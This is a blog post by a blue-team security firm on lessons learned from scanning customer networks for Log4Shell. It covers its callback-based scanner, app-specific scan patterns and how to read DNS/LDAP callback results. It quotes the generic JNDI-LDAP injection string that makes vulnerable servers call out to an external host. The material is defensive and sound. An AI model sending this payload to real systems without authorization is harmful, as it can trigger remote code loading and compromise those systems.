Log4Shell - Scanning: Lessons learned

---

TL;DR: jump directly to "how to read/interpret the results"

---

We would like to share with you our experiences from a lot of Log4J/Log4Shell scans, which we have gathered since the emergence of the vulnerability on 10.12.2021 while beeing engaged with customers to analyse their networks.

We were there from the early phase of the incident, starting 10.12.2021, and have built up an extensive collection of material on the vuln itself, mitigation, exploit detection, and scanning.

We also established a 24/7 hotline and supported our customers with analysis, scans and action instructions.

First Phase - The Naive Approach

Based on the initial assessments, it was very quickly clear that the vulnerability would be "juicy", the usual suspects would pounce on it and we(*) would need a scanner to check our own systems. At the same time, it was also clear that, in contrast to e.g. ProxyLogon and other RCE vulnerabilities, the scan would be a bit more complicated this time because there is no direct output to parse as usual (echo /etc/passwd e.g.), but that a vulnerability can be identified by 1. A DNS callback and 2. a request to a ClassFile that can be downloaded via LDAP/RMI/IIOP, i.e. for the final, real test, malicious code must be reloaded here, which as a BlueTeamer is very unpleasant and we do not recommend.

On the first weekend, we scanned customer networks with Florian Roth's recipe and the individual Thinkst-Canarytokens and also received results.

The token also struck and reported verified, vulnerable systems, our problem: besides the scanned systems, IPs from Google, Amazon, zScaler, from China, etc. reported after a few hours had passed.

Some systems became so noisy with callbacks every minute (hello zScaler) that the Thinkst crew deactivated the token.

*) as in BlueTeam

Second Phase - Our Own Scanner

After analysing the first results, it quickly became clear that we would need our own scanner with a DNS-based token infrastructure. On the one hand, to solve the dependency on third-party systems, and on the other hand, to be able to use our own token for each individual request. This would give us a very good view and traceability of the callbacks.

So we had the zeroBS developers develop hrafna, which can register both DNS and LDAP callbacks using BIND and a Nginx, and generates a ScanID for each scan, as well as an individual RequestID for each request.

Another feature: individual scan patterns for applications and scans of systems based on given CPEs, if available (hello AttackSurfaceMonitoring/AssetManagement). This is another killer feature, as became apparent in the course of the second week.

Third Phase - App-Specific Scanning

Since we scanned customer networks with different methods from the beginning, we could notice around 22.12.2021 that the original, "generic" Log4Shell pattern ${jndi:ldap://some.domain.com/randompattern} hardly had any more hits, whilst the app-specific scan patterns (e.g. for Solr and VMware) now started to show results.

Therefore, since version 0.8, our hrafna scanner has the option to also specify CPEs for the hosts to be scanned, in order to then only use the specific scan pattern for a match instead of all of them.

This shortens the scanning time enormously, reduces the noise of FPs and thus ensures a better match.

Since we have been using more and more patterns there (currently, as of 04.01., individual attack paths are known for 12 applications), the scan results have improved enormously, as the generic scans do not work for Solr, Vmware, Struts or Jira, for example.

Interpretation of Results and Callbacks

a few definitions of what to see in the scan result/report

• ScanDate: the date the inital scan was performed
• CallbackDate: the date the DNSCallback was recorded. it is within short time (less than 5 minutes of ScanDate, you should investigate)
• ScannedHost: IP or Hostname of the initial Scan
• DNSCallbackHost: IP of recorded DNSCallback; if this differ from ScannedHost, the callback might be performed by a Firewall/SIEM etc
• LDAPCallback (if configured): if this is set to yes, you need to investigate and you most likely have a HIT
• ScanType: scan performed based on your settings in payloads/ (defaults to default.yaml)
• Designator: host-specific DNS-Name, append your base_scan_domain and check the DNSLogs of your scanned systems, e.g. c4774862a37f.bf4da8f translates to c4774862a37f.bf4da8f.l4s.scanix.edu

criteria that define a high probability of a hit/vulnerable system, honeypots excluded for now:

1. ScanDate & Callback Date are close together (within a couple of seconds mostly)

2. ScannedHost-IP and DNSCallback/LDAPCallback-Host are identical or at least from the same AS.

3. 1. AND 2. mean a hit with almost 100% certainty

4. 1. OR 2. are highly suspicious and should at least be investigated

special cases

1. ScannedHost-IP and DNSCallback/LDAPCallback host differ from each other, but are in the same AS: possibly the scanned host has a proxy/gateway. one should also note that the DNSCallbacks can often come from DNS infrastructure in the scanned data centre.

2. ScannedHost-IP and DNSCallback/LDAPCallback host differ from each other and are not in the same AS: check whether the logs are passed on, they may possibly be cloudbased firewalls/SIEM etc., i.e. downstream systems that only make a DNS call

3. ScanDate & Callback Date are far apart + ScannedHost-IP and DNSCallback/LDAPCallback-Host differ from each other: see 2.

4. regular DNSCallbacks every minute/hour: the logfile has probably been shipped to a firewall/security-vendor which does what vendors are doing

assessments of the quality of the results

• 20-50% FalsePositives
• a no less high number of false negatives, as specific scan patterns will not be available for all vulnerable applications
• what/how to scan to be sure: execute a local scan, if possible

---

Fragen? Kontakt: info@zero.bs